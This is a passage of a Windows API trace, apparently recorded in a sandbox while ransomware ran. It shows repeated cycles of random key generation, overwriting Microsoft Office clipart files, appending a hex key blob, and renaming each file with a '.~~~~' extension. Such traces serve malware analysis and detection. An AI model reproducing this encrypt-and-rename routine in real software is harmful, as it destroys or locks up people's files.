	[0102.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa6f126b0, dwHighDateTime=0x1d60e1e)) 
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28634b0
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28634b0 | out: hHeap=0x300000) returned 1
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866478
	[0102.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.778] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.779] GetLastError () returned 0x0
	[0102.779] GetLastError () returned 0x0
	[0102.779] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.779] GetLastError () returned 0x0
	[0102.779] GetLastError () returned 0x0
	[0102.891] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff9af4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.891] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x650c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x650c, lpOverlapped=0x0) returned 1
	[0102.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.899] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.899] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.899] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.899] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.899] CloseHandle (hObject=0x120) returned 1
	[0102.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.~~~~")) returned 1
	[0102.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.901] GetLastError () returned 0x0
	[0102.901] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.903] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.903] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.903] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22289350119) returned 1
	[0102.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa70431b0, dwHighDateTime=0x1d60e1e)) 
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863558
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863558 | out: hHeap=0x300000) returned 1
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866640
	[0102.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.905] GetLastError () returned 0x0
	[0102.905] GetLastError () returned 0x0
	[0102.905] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.905] GetLastError () returned 0x0
	[0102.905] GetLastError () returned 0x0
	[0102.966] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff88c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.966] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x773a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x773a, lpOverlapped=0x0) returned 1
	[0102.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.969] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.969] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.969] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.969] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.969] CloseHandle (hObject=0x120) returned 1
	[0102.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.~~~~")) returned 1
	[0102.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.971] GetLastError () returned 0x0
	[0102.975] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.977] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.977] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.977] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22296741277) returned 1
	[0102.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7101890, dwHighDateTime=0x1d60e1e)) 
	[0102.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863638
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863638 | out: hHeap=0x300000) returned 1
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866808
	[0102.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.978] GetLastError () returned 0x0
	[0102.978] GetLastError () returned 0x0
	[0102.978] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.979] GetLastError () returned 0x0
	[0102.979] GetLastError () returned 0x0
	[0103.043] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc81c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.043] WriteFile (in: hFile=0x120, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x37e4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x37e4, lpOverlapped=0x0) returned 1
	[0103.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.045] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.045] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.045] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.045] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.045] CloseHandle (hObject=0x120) returned 1
	[0103.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.~~~~")) returned 1
	[0103.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.047] GetLastError () returned 0x0
	[0103.047] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0103.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.048] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0103.049] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22303879475) returned 1
	[0103.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa71bff70, dwHighDateTime=0x1d60e1e)) 
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28636e0
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28636e0 | out: hHeap=0x300000) returned 1
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866a68
	[0103.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0103.050] GetLastError () returned 0x0
	[0103.050] GetLastError () returned 0x0
	[0103.050] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0103.050] GetLastError () returned 0x0
	[0103.050] GetLastError () returned 0x0
	[0103.053] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffbb02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.054] WriteFile (in: hFile=0x120, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x44fe, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x44fe, lpOverlapped=0x0) returned 1
	[0103.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.055] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.055] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.055] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.055] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.055] CloseHandle (hObject=0x120) returned 1
	[0103.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.~~~~")) returned 1
	[0103.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.056] GetLastError () returned 0x0
	[0103.057] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0103.059] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.059] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0103.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0103.059] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22304947718) returned 1
	[0103.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa71bff70, dwHighDateTime=0x1d60e1e)) 
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863750
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863750 | out: hHeap=0x300000) returned 1
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866c30
	[0103.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0103.061] GetLastError () returned 0x0
	[0103.061] GetLastError () returned 0x0
	[0103.061] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0103.061] GetLastError () returned 0x0
	[0103.061] GetLastError () returned 0x0
	[0103.296] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe63c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.296] WriteFile (in: hFile=0x120, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x19c4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x19c4, lpOverlapped=0x0) returned 1
	[0103.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.298] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.298] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.298] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.298] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.298] CloseHandle (hObject=0x120) returned 1
	[0103.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.~~~~")) returned 1
	[0103.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.426] GetLastError () returned 0x0
	[0103.427] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0103.429] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.429] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
